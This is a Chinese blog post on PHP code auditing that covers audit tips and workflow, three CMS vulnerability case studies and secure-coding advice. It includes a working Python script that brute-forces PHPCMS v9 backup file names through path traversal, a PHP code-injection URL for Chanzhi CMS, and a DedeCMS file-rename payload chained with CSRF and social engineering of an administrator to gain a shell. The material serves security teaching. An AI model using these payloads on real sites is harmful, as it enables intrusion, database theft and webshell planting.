团队代码审计小记

1.1 审计tricks

  • 至少对常见的漏洞要熟悉,这样才能快速定位到敏感点。
  • 使用自动化审计工具辅助审计,快速寻找常规漏洞,并进行验证分析。
  • 使用常见安全工具来验证漏洞,如BurpSuite、sqlmap、python程序。
  • 状态不好,一定要暂停审计。因为没效率,而且还可能审计不出来,这样会削减你对审计的热情。
  • 审计初期,可以找一些小型的cms来审计,因为小型cms程序结构比较简单,漏洞点可能比较多,能够给自己信心
  • 跟进别人的审计文章,需要动手操作而不是看。在审计的过程中才能发现问题,审计经验是一点点积累出来的,审计的过程中也要注意漏洞发生的位置

1.2 审计流程

首先,打开 seay源代码审计系统 软件,将要审计的网站源码导入项目,然后点击自动审计。当审计完成时,我们需要根据自动审计的结果,进行逐一验证。当然,我们不需要真的每个文件都打开看过去,可以根据扫描报告中的漏洞详细信息来判断是否可能存在漏洞,如果你觉的某个地方可能存在,这时,你再打开具体文件查看。

9

如果你想查询某个变量或者函数在代码中的具体位置,你也可以使用全局定位搜索,该软件会快速地定位找出具体文件,这一功能大大加快了我们审计的速度。对于来自用户的数据以及后端对数据库的操作,我们要特别注意。

10

定位函数的话,我们甚至可以使用linux下的 grep 命令来完成,例如我想找到定义 upload() 函数的地方,可以在命令行下面切换到网站根目录,然后输入 grep -Rni “function upload(“ 快速定位, -R表示从当前位置递归往下寻找, -i 表示忽略大小写进行匹配, -n 则显示行号。下图为查找定义 PartView 类的位置:

5

我们还可以使用数据库监控插件,来监控程序对数据库的操作,测试并构造恶意的mysql执行语句,如下图:

4

以上手法,可专门用于挖掘常规漏洞,至于像逻辑漏洞、越权漏洞这一类,基本上是不可能被自动化审计工具扫描到的,因为针对这类漏洞的正则难以制定,需要人工判断程序是否存在逻辑问题。这样我们就需要先对网站的功能点熟悉一下,特别是与用户相关的地方,例如用户的身份,用户提交的表单,用户发出的请求等等。然后我们可以结合 BurpSuite 观察用户请求的参数有哪些,这里面是否有重要的参数可以被伪造。平时经常挖逻辑漏洞或者有丰富的黑盒测试经验,将有助于对这种漏洞的审计。

1.3 审计实例

1.3.1 PHPCMSv9逻辑漏洞导致备份文件名可猜测

在看实例前,先看一段《代码审计–企业级Web代码安全架构》书中的引用:

目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里的文件ID 读取出文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的webshell 文件路径,但是当在Windows 下时,我们只需要知道文件所在目录,然后利用Windows 的特性就可以访问到文件,这是因为Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作

1
2
3
4
5
6
7
8
9
10
11
# api.php
<?php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'phpcms/base.php';
......
$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
......
if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
include PHPCMS_PATH.'api/'.$op.'.php';
......
?>

/api/creatimg.php文件中,使用了file_exists()函数判断$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用户控制,且未过滤./等符号,最终导致了漏洞发生。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /api/creatimg.php
<?php
defined('IN_PHPCMS') or exit('No permission resources.');
$txt = trim($_GET['txt']);
if(extension_loaded('gd') && $txt ) {
......
$fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
......
if(file_exists($fontfile)){
//计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
$image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
$imageX = $image_info[2]-$image_info[0]+10;
$imageY = $image_info[1]-$image_info[7]+5;
......

所以,我们就能根据该漏洞写出对应的备份文件爆破程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 程序不完整,还需考虑若网站无备份的情况
import requests
import itertools
characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"
backup_sql = ""
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
url = "http://192.168.0.106"
flag = 0
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
payload = payload.format(location=pre)
r = requests.get(url+payload)
if r.status_code == 200 and "PNG" in r.text:
flag = 1
backup_sql = pre
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
break
else:
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
print("[+] 前缀为:",backup_sql)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
payload = payload.format(location=backup_sql+ch)
r = requests.get(url + payload)
if r.status_code == 200 and "PNG" in r.text:
backup_sql += ch
print("[+] ",backup_sql)
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
break
else:
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"

print("备份sql文件地址为:",backup_sql+".sql")

效果如下:

14

1.3.2 蝉知cms缓存文件代码注入

在看实例前,先了解一下 $_SERVER[‘SCRIPT_NAME’] 的一些特性。我们可以先看一下PHP手册对其的定义:

$_SERVER[‘SCRIPT_NAME’]

包含当前脚本的路径。这在页面需要指向自己时非常有用。FILE 常量包含当前脚本(例如包含文件)的完整路径和文件名。

也就是说,正常情况下这个变量使用于存放文件脚本文件名的,但是如果我们使用构造的url,便可绕过(如下图):

1

本次发生漏洞的变量为就是 $_SERVER[‘SCRIPT_NAME’] ,下面我们举一个蝉知cms实例,我们在本地搭建好的蝉知cms环境下,访问如下链接:

1
http://www.chanzhicms.com/index.php/product/c7.html/'>">--><script language='php'>phpinfo();</script><!-- /

访问之后,蝉知cms会将获取到的 $_SERVER[‘SCRIPT_NAME’] 无过滤,直接写入缓存文件中,至于缓存文件的具体位置,我们可以通过开启 WebShellKill 的文件实时监控插件来快速定位,具体手法如下图:

5

1.3.3 织梦后台任意文件名修改漏洞

漏洞文件为 dede/file_manage_control.php$fmdo 开始时赋值,所以我们可以使fmdo=rename ,使其进入 if语句 ,调用 FileManagement 对象的 RenameFile 方法,跟进 RenameFile 方法。

30

使用 grep -Rni 关键字 快速定位类和方法所定义的位置:

31

看到 $oldname$newname 直接拼接生成,没有对文件名进行过滤,直接导致漏洞发生。所以最终 payload 为:/dede/file_manage_control.php?fmdo=rename&oldfilename=你上传文件的路径&newfilename=你想写的路径

32

整个攻击过程如下图:

29

其实我们可以利用这个文件名任意修改的漏洞结合CSRF以及一点点社工手段,打出组合拳。具体手法如下:

  • 利用dede前台会员上传点上传文件,获取上传文件路径
  • 构造攻击url,并将该恶意url变成短连接
  • 社工网站管理员,让其点击
  • 成功getshell

1.4 安全开发

1.4.1 全局变量注册

尽可能关闭 register_globals *选项,以提高程序的安全性。因为当 PHP 的 *register_globals *配置选项打开时,所有的变量都会注册成全局变量,这样的话会增大对数据来源的判断。我们应该使用PHP中的超全局数组,例如 *$_GET$_POST 、及 *$_COOKIE * ,从而明确数据来源。

1.4.2 程序报错信息

没有一个程序员敢说自己写的程序从不出错,当程序出错时,就会出现错误提示信息。对于程序员来说,这些报错信息是友好的,因为这些信息能快速的帮助他们定位问题代码,然后修复。然而往往黑客可以利用这些报错信息,辅助攻击。想要获取报错信息,又不想让黑客看到,最好的做法就是关闭报错显示,使用日志记录错误信息。做法如下:

1

设定error_reporting的级别,关闭display_errors,开启log_errors,并指定日志文件路径error_log 。我们要做到,尽可能对用户透明,减少信息暴露。该给的权限给足,不该给的权限一点也不多给。

1.4.3 过滤输入

包括三个方面:

  • 变量识别
  • 变量过滤
  • 变量处理

首先是变量识别 ,你需要知道变量从哪里来,做什么用,最终到那里去。只有了解这3个问题,才能正确的进入变量过滤 。在变量过滤的时候,要小心处理非法数据。我们可以使用PHP自带的函数来处理数据,有时候开发人员喜欢将数据嵌套在多个处理函数中,进行多重消毒、清洗,但是这也有可能造成绕过,变成好心办坏事。所以一定要明确数据的用途,例如变量为用户名,程序在用户登录的时候使用trim()处理用户名,然而在用户注册的时候却没有规定用户名两端不能有空格,这样的处理便是无效的。最后就是对已经过滤后数据处理,非法数据和合法数据的处理方式应不同。例如,将合法数据继续正常使用,非法数据则调用die()退出程序。下面举一个对用户输入未做过滤的例子:

2

如果我们构造一个POST数据包,数据为:color=hack ,那么就会得到非预期结果。所以正确的做法应该用case来处理来自用户的数据。

3

1.4.4 数据限制

对用户提交的数据需要进行数据长度、提交频率的限制,尽可能减少DOS(拒绝服务)攻击及溢出攻击。举个例子,如果程序对用户注册的频率未做任何限制,那么黑客可以的写一个程序来疯狂注册变量,最终可导致数据库卡死,直接拖垮一个网站。

1.4.5 后台验证

与认证用户信息相关的功能点一定要加上验证功能,验证码还不能太容易被识别(有的验证码只需要程序即可识别),不然就等着被爆破,或者你的短信接口白白的被人作为短信轰炸的武器之一。

1.4.6 如何过滤

  • 防止SQL注入

    在php.ini配置文件中开启magic_quotes_gpc和magic_quotes_runtime选项。magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤,而magic_quotes_runtime则负责对来自数据库或文件的内容进行过滤。如果不开启,可以使用intval()、addslashes()、mysql_escape_string()、mysql_real_escape_string()函数过滤,还可以使用预编译技术来处理数据库查询。

  • 防止XSS攻击

    strip_tags(),htmlspecialchars()

  • 防止命令执行

    须使用 escapeshellarg(),escapeshellcmd()

  • 防止文件操作漏洞

    文件操作漏洞包括文件包含,文件上传,文件删除等等。对于这类漏洞,我们过滤..\/等字符(Windows会将\符号转换成 /符号),防止路径穿越,即可避免大部分漏洞的发生。

1.5 参考

针对某开源cms一次严谨的渗透测试、代码审计、黑盒测试

$_SERVER[SCRIPT_NAME]变量可值注入恶意代码

PHP安全基础

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/04/13/团队代码审计/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog